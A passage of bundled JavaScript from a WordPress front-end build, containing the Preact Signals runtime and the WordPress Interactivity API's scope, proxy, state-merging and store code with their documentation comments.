0!==i)i.i=this.i;if(16&this.f)throw this.v;return this.v}});function signals_core_module_w(i){return new signals_core_module_y(i)}function signals_core_module_(i){var r=i.u;i.u=void 0;if("function"==typeof r){signals_core_module_s++;var n=signals_core_module_o;signals_core_module_o=void 0;try{r()}catch(t){i.f&=-2;i.f|=8;signals_core_module_g(i);throw t}finally{signals_core_module_o=n;signals_core_module_t()}}}function signals_core_module_g(i){for(var t=i.s;void 0!==t;t=t.n)t.S.U(t);i.x=void 0;i.s=void 0;signals_core_module_(i)}function signals_core_module_p(i){if(signals_core_module_o!==this)throw new Error("Out-of-order effect");signals_core_module_l(this);signals_core_module_o=i;this.f&=-2;if(8&this.f)signals_core_module_g(this);signals_core_module_t()}function signals_core_module_b(i){this.x=i;this.u=void 0;this.s=void 0;this.o=void 0;this.f=32}signals_core_module_b.prototype.c=function(){var i=this.S();try{if(8&this.f)return;if(void 0===this.x)return;var t=this.x();if("function"==typeof t)this.u=t}finally{i()}};signals_core_module_b.prototype.S=function(){if(1&this.f)throw new Error("Cycle detected");this.f|=1;this.f&=-9;signals_core_module_(this);signals_core_module_a(this);signals_core_module_s++;var i=signals_core_module_o;signals_core_module_o=this;return signals_core_module_p.bind(this,i)};signals_core_module_b.prototype.N=function(){if(!(2&this.f)){this.f|=2;this.o=signals_core_module_h;signals_core_module_h=this}};signals_core_module_b.prototype.d=function(){this.f|=8;if(!(1&this.f))signals_core_module_g(this)};function E(i){var t=new signals_core_module_b(i);try{t.c()}catch(i){t.d();throw i}return t.d.bind(t)} ;// ./node_modules/@preact/signals/dist/signals.module.js var signals_module_v,signals_module_s;function signals_module_l(i,n){preact_module/* options */.fF[i]=n.bind(null,preact_module/* options */.fF[i]||function(){})}function signals_module_d(i){if(signals_module_s)signals_module_s();signals_module_s=i&&i.S()}function signals_module_h(i){var r=this,f=i.data,o=useSignal(f);o.value=f;var e=T(function(){var i=r.__v;while(i=i.__)if(i.__c){i.__c.__$f|=4;break}r.__$u.c=function(){var i,t=r.__$u.S(),f=e.value;t();if((0,preact_module/* isValidElement */.zO)(f)||3!==(null==(i=r.base)?void 0:i.nodeType)){r.__$f|=1;r.setState({})}else r.base.data=f};return signals_core_module_w(function(){var i=o.value.value;return 0===i?0:!0===i?"":i||""})},[]);return e.value}signals_module_h.displayName="_st";Object.defineProperties(signals_core_module_u.prototype,{constructor:{configurable:!0,value:void 0},type:{configurable:!0,value:signals_module_h},props:{configurable:!0,get:function(){return{data:this}}},__b:{configurable:!0,value:1}});signals_module_l("__b",function(i,r){if("string"==typeof r.type){var n,t=r.props;for(var f in t)if("children"!==f){var o=t[f];if(o instanceof signals_core_module_u){if(!n)r.__np=n={};n[f]=o;t[f]=o.peek()}}}i(r)});signals_module_l("__r",function(i,r){signals_module_d();var n,t=r.__c;if(t){t.__$f&=-2;if(void 0===(n=t.__$u))t.__$u=n=function(i){var r;E(function(){r=this});r.c=function(){t.__$f|=1;t.setState({})};return r}()}signals_module_v=t;signals_module_d(n);i(r)});signals_module_l("__e",function(i,r,n,t){signals_module_d();signals_module_v=void 0;i(r,n,t)});signals_module_l("diffed",function(i,r){signals_module_d();signals_module_v=void 0;var n;if("string"==typeof r.type&&(n=r.__e)){var t=r.__np,f=r.props;if(t){var o=n.U;if(o)for(var e in o){var u=o[e];if(void 0!==u&&!(e in t)){u.d();o[e]=void 0}}else n.U=o={};for(var a in t){var c=o[a],s=t[a];if(void 0===c){c=signals_module_p(n,a,s,f);o[a]=c}else c.o(s,f)}}}i(r)});function signals_module_p(i,r,n,t){var f=r in i&&void 0===i.ownerSVGElement,o=signals_core_module_d(n);return{o:function(i,r){o.value=i;t=r},d:E(function(){var n=o.value.value;if(t[r]!==n){t[r]=n;if(f)i[r]=n;else if(n)i.setAttribute(r,n);else i.removeAttribute(r)}})}}signals_module_l("unmount",function(i,r){if("string"==typeof r.type){var n=r.__e;if(n){var t=n.U;if(t){n.U=void 0;for(var f in t){var o=t[f];if(o)o.d()}}}}else{var e=r.__c;if(e){var u=e.__$u;if(u){e.__$u=void 0;u.d()}}}i(r)});signals_module_l("__h",function(i,r,n,t){if(t<3||9===t)r.__$f|=2;i(r,n,t)});preact_module/* Component */.uA.prototype.shouldComponentUpdate=function(i,r){var n=this.__$u,t=n&&void 0!==n.s;for(var f in r)return!0;if(this.__f||"boolean"==typeof this.u&&!0===this.u){if(!(t||2&this.__$f||4&this.__$f))return!0;if(1&this.__$f)return!0}else{if(!(t||4&this.__$f))return!0;if(3&this.__$f)return!0}for(var o in i)if("__source"!==o&&i[o]!==this.props[o])return!0;for(var e in this.props)if(!(e in i))return!0;return!1};function useSignal(i){return T(function(){return signals_core_module_d(i)},[])}function useComputed(i){var r=f(i);r.current=i;signals_module_v.__$f|=4;return t(function(){return u(function(){return r.current()})},[])}function useSignalEffect(i){var r=f(i);r.current=i;o(function(){return c(function(){return r.current()})},[])} ;// ./node_modules/@wordpress/interactivity/build-module/namespaces.js const namespaceStack = []; const getNamespace = () => namespaceStack.slice(-1)[0]; const setNamespace = namespace => { namespaceStack.push(namespace); }; const resetNamespace = () => { namespaceStack.pop(); }; ;// ./node_modules/@wordpress/interactivity/build-module/scopes.js /** * External dependencies */ /** * Internal dependencies */ // Store stacks for the current scope and the default namespaces and export APIs // to interact with them. const scopeStack = []; const getScope = () => scopeStack.slice(-1)[0]; const setScope = scope => { scopeStack.push(scope); }; const resetScope = () => { scopeStack.pop(); }; // Wrap the element props to prevent modifications. const immutableMap = new WeakMap(); const immutableError = () => { throw new Error('Please use `data-wp-bind` to modify the attributes of an element.'); }; const immutableHandlers = { get(target, key, receiver) { const value = Reflect.get(target, key, receiver); return !!value && typeof value === 'object' ? deepImmutable(value) : value; }, set: immutableError, deleteProperty: immutableError }; const deepImmutable = target => { if (!immutableMap.has(target)) { immutableMap.set(target, new Proxy(target, immutableHandlers)); } return immutableMap.get(target); }; /** * Retrieves the context inherited by the element evaluating a function from the * store. The returned value depends on the element and the namespace where the * function calling `getContext()` exists. * * @param namespace Store namespace. By default, the namespace where the calling * function exists is used. * @return The context content. */ const getContext = namespace => { const scope = getScope(); if (true) { if (!scope) { throw Error('Cannot call `getContext()` when there is no scope. If you are using an async function, please consider using a generator instead. If you are using some sort of async callbacks, like `setTimeout`, please wrap the callback with `withScope(callback)`.'); } } return scope.context[namespace || getNamespace()]; }; /** * Retrieves a representation of the element where a function from the store * is being evaluated. Such representation is read-only, and contains a * reference to the DOM element, its props and a local reactive state. * * @return Element representation. */ const getElement = () => { const scope = getScope(); if (true) { if (!scope) { throw Error('Cannot call `getElement()` when there is no scope. If you are using an async function, please consider using a generator instead. If you are using some sort of async callbacks, like `setTimeout`, please wrap the callback with `withScope(callback)`.'); } } const { ref, attributes } = scope; return Object.freeze({ ref: ref.current, attributes: deepImmutable(attributes) }); }; /** * Retrieves the part of the inherited context defined and updated from the * server. * * The object returned is read-only, and includes the context defined in PHP * with `wp_interactivity_data_wp_context()`, including the corresponding * inherited properties. When `actions.navigate()` is called, this object is * updated to reflect the changes in the new visited page, without affecting the * context returned by `getContext()`. Directives can subscribe to those changes * to update the context if needed. * * @example * ```js * store('...', { * callbacks: { * updateServerContext() { * const context = getContext(); * const serverContext = getServerContext(); * // Override some property with the new value that came from the server. * context.overridableProp = serverContext.overridableProp; * }, * }, * }); * ``` * * @param namespace Store namespace. By default, the namespace where the calling * function exists is used. * @return The server context content. */ const getServerContext = namespace => { const scope = getScope(); if (true) { if (!scope) { throw Error('Cannot call `getServerContext()` when there is no scope. If you are using an async function, please consider using a generator instead. If you are using some sort of async callbacks, like `setTimeout`, please wrap the callback with `withScope(callback)`.'); } } return scope.serverContext[namespace || getNamespace()]; }; ;// ./node_modules/@wordpress/interactivity/build-module/utils.js /** * External dependencies */ /** * Internal dependencies */ /** * Executes a callback function after the next frame is rendered. * * @param callback The callback function to be executed. * @return A promise that resolves after the callback function is executed. */ const afterNextFrame = callback => { return new Promise(resolve => { const done = () => { clearTimeout(timeout); window.cancelAnimationFrame(raf); setTimeout(() => { callback(); resolve(); }); }; const timeout = setTimeout(done, 100); const raf = window.requestAnimationFrame(done); }); }; /** * Returns a promise that resolves after yielding to main. * * @return Promise<void> */ const splitTask = typeof window.scheduler?.yield === 'function' ? window.scheduler.yield.bind(window.scheduler) : () => { return new Promise(resolve => { setTimeout(resolve, 0); }); }; /** * Creates a Flusher object that can be used to flush computed values and notify listeners. * * Using the mangled properties: * this.c: this._callback * this.x: this._compute * https://github.com/preactjs/signals/blob/main/mangle.json * * @param compute The function that computes the value to be flushed. * @param notify The function that notifies listeners when the value is flushed. * @return The Flusher object with `flush` and `dispose` properties. */ function createFlusher(compute, notify) { let flush = () => undefined; const dispose = E(function () { flush = this.c.bind(this); this.x = compute; this.c = notify; return compute(); }); return { flush, dispose }; } /** * Custom hook that executes a callback function whenever a signal is triggered. * Version of `useSignalEffect` with a `useEffect`-like execution. This hook * implementation comes from this PR, but we added short-cirtuiting to avoid * infinite loops: https://github.com/preactjs/signals/pull/290 * * @param callback The callback function to be executed. */ function utils_useSignalEffect(callback) { y(() => { let eff = null; let isExecuting = false; const notify = async () => { if (eff && !isExecuting) { isExecuting = true; await afterNextFrame(eff.flush); isExecuting = false; } }; eff = createFlusher(callback, notify); return eff.dispose; }, []); } /** * Returns the passed function wrapped with the current scope so it is * accessible whenever the function runs. This is primarily to make the scope * available inside hook callbacks. * * Asynchronous functions should use generators that yield promises instead of awaiting them. * See the documentation for details: https://developer.wordpress.org/block-editor/reference-guides/packages/packages-interactivity/packages-interactivity-api-reference/#the-store * * @param func The passed function. * @return The wrapped function. */ function withScope(func) { const scope = getScope(); const ns = getNamespace(); let wrapped; if (func?.constructor?.name === 'GeneratorFunction') { wrapped = async (...args) => { const gen = func(...args); let value; let it; while (true) { setNamespace(ns); setScope(scope); try { it = gen.next(value); } finally { resetScope(); resetNamespace(); } try { value = await it.value; } catch (e) { setNamespace(ns); setScope(scope); gen.throw(e); } finally { resetScope(); resetNamespace(); } if (it.done) { break; } } return value; }; } else { wrapped = (...args) => { setNamespace(ns); setScope(scope); try { return func(...args); } finally { resetNamespace(); resetScope(); } }; } // If function was annotated via `withSyncEvent()`, maintain the annotation. const syncAware = func; if (syncAware.sync) { const syncAwareWrapped = wrapped; syncAwareWrapped.sync = true; return syncAwareWrapped; } return wrapped; } /** * Accepts a function that contains imperative code which runs whenever any of * the accessed _reactive_ properties (e.g., values from the global state or the * context) is modified. * * This hook makes the element's scope available so functions like * `getElement()` and `getContext()` can be used inside the passed callback. * * @param callback The hook callback. */ function useWatch(callback) { utils_useSignalEffect(withScope(callback)); } /** * Accepts a function that contains imperative code which runs only after the * element's first render, mainly useful for initialization logic. * * This hook makes the element's scope available so functions like * `getElement()` and `getContext()` can be used inside the passed callback. * * @param callback The hook callback. */ function useInit(callback) { y(withScope(callback), []); } /** * Accepts a function that contains imperative, possibly effectful code. The * effects run after browser paint, without blocking it. * * This hook is equivalent to Preact's `useEffect` and makes the element's scope * available so functions like `getElement()` and `getContext()` can be used * inside the passed callback. * * @param callback Imperative function that can return a cleanup * function. * @param inputs If present, effect will only activate if the * values in the list change (using `===`). */ function useEffect(callback, inputs) { y(withScope(callback), inputs); } /** * Accepts a function that contains imperative, possibly effectful code. Use * this to read layout from the DOM and synchronously re-render. * * This hook is equivalent to Preact's `useLayoutEffect` and makes the element's * scope available so functions like `getElement()` and `getContext()` can be * used inside the passed callback. * * @param callback Imperative function that can return a cleanup * function. * @param inputs If present, effect will only activate if the * values in the list change (using `===`). */ function useLayoutEffect(callback, inputs) { _(withScope(callback), inputs); } /** * Returns a memoized version of the callback that only changes if one of the * inputs has changed (using `===`). * * This hook is equivalent to Preact's `useCallback` and makes the element's * scope available so functions like `getElement()` and `getContext()` can be * used inside the passed callback. * * @param callback Callback function. * @param inputs If present, the callback will only be updated if the * values in the list change (using `===`). * * @return The callback function. */ function useCallback(callback, inputs) { return q(withScope(callback), inputs); } /** * Pass a factory function and an array of inputs. `useMemo` will only recompute * the memoized value when one of the inputs has changed. * * This hook is equivalent to Preact's `useMemo` and makes the element's scope * available so functions like `getElement()` and `getContext()` can be used * inside the passed factory function. * * @param factory Factory function that returns that value for memoization. * @param inputs If present, the factory will only be run to recompute if * the values in the list change (using `===`). * * @return The memoized value. */ function useMemo(factory, inputs) { return T(withScope(factory), inputs); } /** * Creates a root fragment by replacing a node or an array of nodes in a parent element. * For wrapperless hydration. * See https://gist.github.com/developit/f4c67a2ede71dc2fab7f357f39cff28c * * @param parent The parent element where the nodes will be replaced. * @param replaceNode The node or array of nodes to replace in the parent element. * @return The created root fragment. */ const createRootFragment = (parent, replaceNode) => { replaceNode = [].concat(replaceNode); const sibling = replaceNode[replaceNode.length - 1].nextSibling; function insert(child, root) { parent.insertBefore(child, root || sibling); } return parent.__k = { nodeType: 1, parentNode: parent, firstChild: replaceNode[0], childNodes: replaceNode, insertBefore: insert, appendChild: insert, removeChild(c) { parent.removeChild(c); } }; }; /** * Transforms a kebab-case string to camelCase. * * @param str The kebab-case string to transform to camelCase. * @return The transformed camelCase string. */ function kebabToCamelCase(str) { return str.replace(/^-+|-+$/g, '').toLowerCase().replace(/-([a-z])/g, function (_match, group1) { return group1.toUpperCase(); }); } const logged = new Set(); /** * Shows a warning with `message` if environment is not `production`. * * Based on the `@wordpress/warning` package. * * @param message Message to show in the warning. */ const warn = message => { if (true) { if (logged.has(message)) { return; } // eslint-disable-next-line no-console console.warn(message); // Throwing an error and catching it immediately to improve debugging // A consumer can use 'pause on caught exceptions' try { throw Error(message); } catch (e) { // Do nothing. } logged.add(message); } }; /** * Checks if the passed `candidate` is a plain object with just the `Object` * prototype. * * @param candidate The item to check. * @return Whether `candidate` is a plain object. */ const isPlainObject = candidate => Boolean(candidate && typeof candidate === 'object' && candidate.constructor === Object); /** * Indicates that the passed `callback` requires synchronous access to the event object. * * @param callback The event callback. * @return Altered event callback. */ function withSyncEvent(callback) { const syncAware = callback; syncAware.sync = true; return syncAware; } ;// ./node_modules/@wordpress/interactivity/build-module/proxies/registry.js /** * Proxies for each object. */ const objToProxy = new WeakMap(); const proxyToObj = new WeakMap(); /** * Namespaces for each created proxy. */ const proxyToNs = new WeakMap(); /** * Object types that can be proxied. */ const supported = new Set([Object, Array]); /** * Returns a proxy to the passed object with the given handlers, assigning the * specified namespace to it. If a proxy for the passed object was created * before, that proxy is returned. * * @param namespace The namespace that will be associated to this proxy. * @param obj The object to proxify. * @param handlers Handlers that the proxy will use. * * @throws Error if the object cannot be proxified. Use {@link shouldProxy} to * check if a proxy can be created for a specific object. * * @return The created proxy. */ const createProxy = (namespace, obj, handlers) => { if (!shouldProxy(obj)) { throw Error('This object cannot be proxified.'); } if (!objToProxy.has(obj)) { const proxy = new Proxy(obj, handlers); objToProxy.set(obj, proxy); proxyToObj.set(proxy, obj); proxyToNs.set(proxy, namespace); } return objToProxy.get(obj); }; /** * Returns the proxy for the given object. If there is no associated proxy, the * function returns `undefined`. * * @param obj Object from which to know the proxy. * @return Associated proxy or `undefined`. */ const getProxyFromObject = obj => objToProxy.get(obj); /** * Gets the namespace associated with the given proxy. * * Proxies have a namespace assigned upon creation. See {@link createProxy}. * * @param proxy Proxy. * @return Namespace. */ const getNamespaceFromProxy = proxy => proxyToNs.get(proxy); /** * Checks if a given object can be proxied. * * @param candidate Object to know whether it can be proxied. * @return True if the passed instance can be proxied. */ const shouldProxy = candidate => { if (typeof candidate !== 'object' || candidate === null) { return false; } return !proxyToNs.has(candidate) && supported.has(candidate.constructor); }; /** * Returns the target object for the passed proxy. If the passed object is not a registered proxy, the * function returns `undefined`. * * @param proxy Proxy from which to know the target. * @return The target object or `undefined`. */ const getObjectFromProxy = proxy => proxyToObj.get(proxy); ;// ./node_modules/@wordpress/interactivity/build-module/proxies/signals.js /** * External dependencies */ /** * Internal dependencies */ /** * Identifier for property computeds not associated to any scope. */ const NO_SCOPE = {}; /** * Structure that manages reactivity for a property in a state object. It uses * signals to keep track of property value or getter modifications. */ class PropSignal { /** * Proxy that holds the property this PropSignal is associated with. */ /** * Relation of computeds by scope. These computeds are read-only signals * that depend on whether the property is a value or a getter and, * therefore, can return different values depending on the scope in which * the getter is accessed. */ /** * Signal with the value assigned to the related property. */ /** * Signal with the getter assigned to the related property. */ /** * Structure that manages reactivity for a property in a state object, using * signals to keep track of property value or getter modifications. * * @param owner Proxy that holds the property this instance is associated * with. */ constructor(owner) { this.owner = owner; this.computedsByScope = new WeakMap(); } /** * Changes the internal value. If a getter was set before, it is set to * `undefined`. * * @param value New value. */ setValue(value) { this.update({ value }); } /** * Changes the internal getter. If a value was set before, it is set to * `undefined`. * * @param getter New getter. */ setGetter(getter) { this.update({ get: getter }); } /** * Returns the computed that holds the result of evaluating the prop in the * current scope. * * These computeds are read-only signals that depend on whether the property * is a value or a getter and, therefore, can return different values * depending on the scope in which the getter is accessed. * * @return Computed that depends on the scope. */ getComputed() { const scope = getScope() || NO_SCOPE; if (!this.valueSignal && !this.getterSignal) { this.update({}); } if (!this.computedsByScope.has(scope)) { const callback = () => { const getter = this.getterSignal?.value; return getter ? getter.call(this.owner) : this.valueSignal?.value; }; setNamespace(getNamespaceFromProxy(this.owner)); this.computedsByScope.set(scope, signals_core_module_w(withScope(callback))); resetNamespace(); } return this.computedsByScope.get(scope); } /** * Update the internal signals for the value and the getter of the * corresponding prop. * * @param param0 * @param param0.get New getter. * @param param0.value New value. */ update({ get, value }) { if (!this.valueSignal) { this.valueSignal = signals_core_module_d(value); this.getterSignal = signals_core_module_d(get); } else if (value !== this.valueSignal.peek() || get !== this.getterSignal.peek()) { signals_core_module_r(() => { this.valueSignal.value = value; this.getterSignal.value = get; }); } } } ;// ./node_modules/@wordpress/interactivity/build-module/proxies/state.js /** * External dependencies */ /** * Internal dependencies */ /** * Set of built-in symbols. */ const wellKnownSymbols = new Set(Object.getOwnPropertyNames(Symbol).map(key => Symbol[key]).filter(value => typeof value === 'symbol')); /** * Relates each proxy with a map of {@link PropSignal} instances, representing * the proxy's accessed properties. */ const proxyToProps = new WeakMap(); /** * Checks whether a {@link PropSignal | `PropSignal`} instance exists for the * given property in the passed proxy. * * @param proxy Proxy of a state object or array. * @param key The property key. * @return `true` when it exists; false otherwise. */ const hasPropSignal = (proxy, key) => proxyToProps.has(proxy) && proxyToProps.get(proxy).has(key); const readOnlyProxies = new WeakSet(); /** * Returns the {@link PropSignal | `PropSignal`} instance associated with the * specified prop in the passed proxy. * * The `PropSignal` instance is generated if it doesn't exist yet, using the * `initial` parameter to initialize the internal signals. * * @param proxy Proxy of a state object or array. * @param key The property key. * @param initial Initial data for the `PropSignal` instance. * @return The `PropSignal` instance. */ const getPropSignal = (proxy, key, initial) => { if (!proxyToProps.has(proxy)) { proxyToProps.set(proxy, new Map()); } key = typeof key === 'number' ? `${key}` : key; const props = proxyToProps.get(proxy); if (!props.has(key)) { const ns = getNamespaceFromProxy(proxy); const prop = new PropSignal(proxy); props.set(key, prop); if (initial) { const { get, value } = initial; if (get) { prop.setGetter(get); } else { const readOnly = readOnlyProxies.has(proxy); prop.setValue(shouldProxy(value) ? proxifyState(ns, value, { readOnly }) : value); } } } return props.get(key); }; /** * Relates each proxied object (i.e., the original object) with a signal that * tracks changes in the number of properties. */ const objToIterable = new WeakMap(); /** * When this flag is `true`, it avoids any signal subscription, overriding state * props' "reactive" behavior. */ let peeking = false; /** * Handlers for reactive objects and arrays in the state. */ const stateHandlers = { get(target, key, receiver) { /* * The property should not be reactive for the following cases: * 1. While using the `peek` function to read the property. * 2. The property exists but comes from the Object or Array prototypes. * 3. The property key is a known symbol. */ if (peeking || !target.hasOwnProperty(key) && key in target || typeof key === 'symbol' && wellKnownSymbols.has(key)) { return Reflect.get(target, key, receiver); } // At this point, the property should be reactive. const desc = Object.getOwnPropertyDescriptor(target, key); const prop = getPropSignal(receiver, key, desc); const result = prop.getComputed().value; /* * Check if the property is a synchronous function. If it is, set the * default namespace. Synchronous functions always run in the proper scope, * which is set by the Directives component. */ if (typeof result === 'function') { const ns = getNamespaceFromProxy(receiver); return (...args) => { setNamespace(ns); try { return result.call(receiver, ...args); } finally { resetNamespace(); } }; } return result; }, set(target, key, value, receiver) { if (readOnlyProxies.has(receiver)) { return false; } setNamespace(getNamespaceFromProxy(receiver)); try { return Reflect.set(target, key, value, receiver); } finally { resetNamespace(); } }, defineProperty(target, key, desc) { if (readOnlyProxies.has(getProxyFromObject(target))) { return false; } const isNew = !(key in target); const result = Reflect.defineProperty(target, key, desc); if (result) { const receiver = getProxyFromObject(target); const prop = getPropSignal(receiver, key); const { get, value } = desc; if (get) { prop.setGetter(get); } else { const ns = getNamespaceFromProxy(receiver); prop.setValue(shouldProxy(value) ? proxifyState(ns, value) : value); } if (isNew && objToIterable.has(target)) { objToIterable.get(target).value++; } /* * Modify the `length` property value only if the related * `PropSignal` exists, which means that there are subscriptions to * this property. */ if (Array.isArray(target) && proxyToProps.get(receiver)?.has('length')) { const length = getPropSignal(receiver, 'length'); length.setValue(target.length); } } return result; }, deleteProperty(target, key) { if (readOnlyProxies.has(getProxyFromObject(target))) { return false; } const result = Reflect.deleteProperty(target, key); if (result) { const prop = getPropSignal(getProxyFromObject(target), key); prop.setValue(undefined); if (objToIterable.has(target)) { objToIterable.get(target).value++; } } return result; }, ownKeys(target) { if (!objToIterable.has(target)) { objToIterable.set(target, signals_core_module_d(0)); } /* *This subscribes to the signal while preventing the minifier from * deleting this line in production. */ objToIterable._ = objToIterable.get(target).value; return Reflect.ownKeys(target); } }; /** * Returns the proxy associated with the given state object, creating it if it * does not exist. * * @param namespace The namespace that will be associated to this proxy. * @param obj The object to proxify. * @param options Options. * @param options.readOnly Read-only. * * @throws Error if the object cannot be proxified. Use {@link shouldProxy} to * check if a proxy can be created for a specific object. * * @return The associated proxy. */ const proxifyState = (namespace, obj, options) => { const proxy = createProxy(namespace, obj, stateHandlers); if (options?.readOnly) { readOnlyProxies.add(proxy); } return proxy; }; /** * Reads the value of the specified property without subscribing to it. * * @param obj The object to read the property from. * @param key The property key. * @return The property value. */ const peek = (obj, key) => { peeking = true; try { return obj[key]; } finally { peeking = false; } }; /** * Internal recursive implementation for {@link deepMerge | `deepMerge`}. * * @param target The target object. * @param source The source object containing new values and props. * @param override Whether existing props should be overwritten or not (`true` * by default). */ const deepMergeRecursive = (target, source, override = true) => { // If target is not a plain object and the source is, we don't need to merge // them because the source will be used as the new value of the target. if (!(isPlainObject(target) && isPlainObject(source))) { return; } let hasNewKeys = false; for (const key in source) { const isNew = !(key in target); hasNewKeys = hasNewKeys || isNew; const desc = Object.getOwnPropertyDescriptor(source, key); const proxy = getProxyFromObject(target); const propSignal = !!proxy && hasPropSignal(proxy, key) && getPropSignal(proxy, key); // Handle getters and setters if (typeof desc.get === 'function' || typeof desc.set === 'function') { if (override || isNew) { // Because we are setting a getter or setter, we need to use // Object.defineProperty to define the property on the target object. Object.defineProperty(target, key, { ...desc, configurable: true, enumerable: true }); // Update the getter in the property signal if it exists if (desc.get && propSignal) { propSignal.setGetter(desc.get); } } // Handle nested objects } else if (isPlainObject(source[key])) { const targetValue = Object.getOwnPropertyDescriptor(target, key)?.value; if (isNew || override && !isPlainObject(targetValue)) { // Create a new object if the property is new or needs to be overridden target[key] = {}; if (propSignal) { // Create a new proxified state for the nested object const ns = getNamespaceFromProxy(proxy); propSignal.setValue(proxifyState(ns, target[key])); } deepMergeRecursive(target[key], source[key], override); } // Both target and source are plain objects, merge them recursively else if (isPlainObject(targetValue)) { deepMergeRecursive(target[key], source[key], override); } // Handle primitive values and non-plain objects } else if (override || isNew) { Object.defineProperty(target, key, desc); if (propSignal) { const { value } = desc; const ns = getNamespaceFromProxy(proxy); // Proxify the value if necessary before setting it in the signal propSignal.setValue(shouldProxy(value) ? proxifyState(ns, value) : value); } } } if (hasNewKeys && objToIterable.has(target)) { objToIterable.get(target).value++; } }; /** * Recursively update prop values inside the passed `target` and nested plain * objects, using the values present in `source`. References to plain objects * are kept, only updating props containing primitives or arrays. Arrays are * replaced instead of merged or concatenated. * * If the `override` parameter is set to `false`, then all values in `target` * are preserved, and only new properties from `source` are added. * * @param target The target object. * @param source The source object containing new values and props. * @param override Whether existing props should be overwritten or not (`true` * by default). */ const deepMerge = (target, source, override = true) => signals_core_module_r(() => deepMergeRecursive(getObjectFromProxy(target) || target, source, override)); ;// ./node_modules/@wordpress/interactivity/build-module/proxies/store.js /** * Internal dependencies */ /** * External dependencies */ /** * Identifies the store proxies handling the root objects of each store. */ const storeRoots = new WeakSet(); /** * Handlers for store proxies. */ const storeHandlers = { get: (target, key, receiver) => { const result = Reflect.get(target, key); const ns = getNamespaceFromProxy(receiver); /* * Check if the proxy is the store root and no key with that name exist. In * that case, return an empty object for the requested key. */ if (typeof result === 'undefined' && storeRoots.has(receiver)) { const obj = {}; Reflect.set(target, key, obj); return proxifyStore(ns, obj, false); } /* * Check if the property is a function. If it is, add the store * namespace to the stack and wrap the function with the current scope. * The `withScope` util handles both synchronous functions and generator * functions. */ if (typeof result === 'function') { setNamespace(ns); const scoped = withScope(result); resetNamespace(); return scoped; } // Check if the property is an object. If it is, proxyify it. if (isPlainObject(result) && shouldProxy(result)) { return proxifyStore(ns, result, false); } return result; } }; /** * Returns the proxy associated with the given store object, creating it if it * does not exist. * * @param namespace The namespace that will be associated to this proxy. * @param obj The object to proxify. * * @param isRoot Whether the passed object is the store root object. * @throws Error if the object cannot be proxified. Use {@link shouldProxy} to * check if a proxy can be created for a specific object. * * @return The associated proxy. */ const proxifyStore = (namespace, obj, isRoot = true) => { const proxy = createProxy(namespace, obj, storeHandlers); if (proxy && isRoot) { storeRoots.add(proxy); } return proxy; }; ;// ./node_modules/@wordpress/interactivity/build-module/proxies/context.js const contextObjectToProxy = new WeakMap(); const contextObjectToFallback = new WeakMap(); const contextProxies = new WeakSet(); const descriptor = Reflect.getOwnPropertyDescriptor; // TODO: Use the proxy registry to avoid multiple proxies on the same object. const contextHandlers = { get: (target, key) => { const fallback = contextObjectToFallback.get(target); // Always subscribe to prop changes in the current context. const currentProp = target[key]; /* * Return the value from `target` if it exists, or from `fallback` * otherwise. This way, in the case the property doesn't exist either in * `target` or `fallback`, it also subscribes to changes in the parent * context. */ return key in target ? currentProp : fallback[key]; }, set: (target, key, value) => { const fallback = contextObjectToFallback.get(target); // If the property exists in the current context, modify it. Otherwise, // add it to the current context. const obj = key in target || !(key in fallback) ? target : fallback; obj[key] = value; return true; }, ownKeys: target => [...new Set([...Object.keys(contextObjectToFallback.get(target)), ...Object.keys(target)])], getOwnPropertyDescriptor: (target, key) => descriptor(target, key) || descriptor(contextObjectToFallback.get(target), key), has: (target, key) => Reflect.has(target, key) || Reflect.has(contextObjectToFallback.get(target), key) }; /** * Wrap a context object with a proxy to reproduce the context stack. The proxy * uses the passed `inherited` context as a fallback to look up for properties * that don't exist in the given context. Also, updated properties are modified * where they are defined, or added to the main context when they don't exist. * * @param current Current context. * @param inherited Inherited context, used as fallback. * * @return The wrapped context object. */ const proxifyContext = (current, inherited = {}) => { if (contextProxies.has(current)) { throw Error('This object cannot be proxified.'); } // Update the fallback object reference when it changes. contextObjectToFallback.set(current, inherited); if (!contextObjectToProxy.has(current)) { const proxy = new Proxy(current, contextHandlers); contextObjectToProxy.set(current, proxy); contextProxies.add(proxy); } return contextObjectToProxy.get(current); }; ;// ./node_modules/@wordpress/interactivity/build-module/proxies/index.js /** * Internal dependencies */ ;// ./node_modules/@wordpress/interactivity/build-module/store.js /** * Internal dependencies */ /** * External dependencies */ const stores = new Map(); const rawStores = new Map(); const storeLocks = new Map(); const storeConfigs = new Map(); const serverStates = new Map(); /** * Get the defined config for the store with the passed namespace. * * @param namespace Store's namespace from which to retrieve the config. * @return Defined config for the given namespace. */ const getConfig = namespace => storeConfigs.get(namespace || getNamespace()) || {}; /** * Get the part of the state defined and updated from the server. * * The object returned is read-only, and includes the state defined in PHP with * `wp_interactivity_state()`. When using `actions.navigate()`, this object is * updated to reflect the changes in its properties, without affecting the state * returned by `store()`. Directives can subscribe to those changes to update * the state if needed. * * @example * ```js * const { state } = store('myStore', { * callbacks: { * updateServerState() { * const serverState = getServerState(); * // Override some property with the new value that came from the server. * state.overridableProp = serverState.overridableProp; * }, * }, * }); * ``` * * @param namespace Store's namespace from which to retrieve the server state. * @return The server state for the given namespace. */ const getServerState = namespace => { const ns = namespace || getNamespace(); if (!serverStates.has(ns)) { serverStates.set(ns, proxifyState(ns, {}, { readOnly: true })); } return serverStates.get(ns); }; const universalUnlock = 'I acknowledge that using a private store means my plugin will inevitably break on the next store release.'; /** * Extends the Interactivity API global store adding the passed properties to * the given namespace. It also returns stable references to the namespace * content. * * These props typically consist of `state`, which is the reactive part of the * store ― which means that any directive referencing a state property will be * re-rendered anytime it changes ― and function properties like `actions` and * `callbacks`, mostly used for event handlers. These props can then be * referenced by any directive to make the HTML interactive. * * @example * ```js * const { state } = store( 'counter', { * state: { * value: 0, * get double() { return state.value * 2; }, * }, * actions: { * increment() { * state.value += 1; * }, * }, * } ); * ``` * * The code from the example above allows blocks to subscribe and interact with * the store by using directives in the HTML, e.g.: * * ```html * <div data-wp-interactive="counter"> * <button * data-wp-text="state.double" * data-wp-on--click="actions.increment" * > * 0 * </button> * </div> * ``` * @param namespace The store namespace to interact with. * @param storePart Properties to add to the store namespace. * @param options Options for the given namespace. * * @return A reference to the namespace content. */ // Overload for when the types are inferred. // Overload for when types are passed via generics and they contain state. // Overload for when types are passed via generics and they don't contain state. // Overload for when types are divided into multiple parts. function store(namespace, { state = {}, ...block } = {}, { lock = false } = {}) { if (!stores.has(namespace)) { // Lock the store if the passed lock is different from the universal // unlock. Once the lock is set (either false, true, or a given string), // it cannot 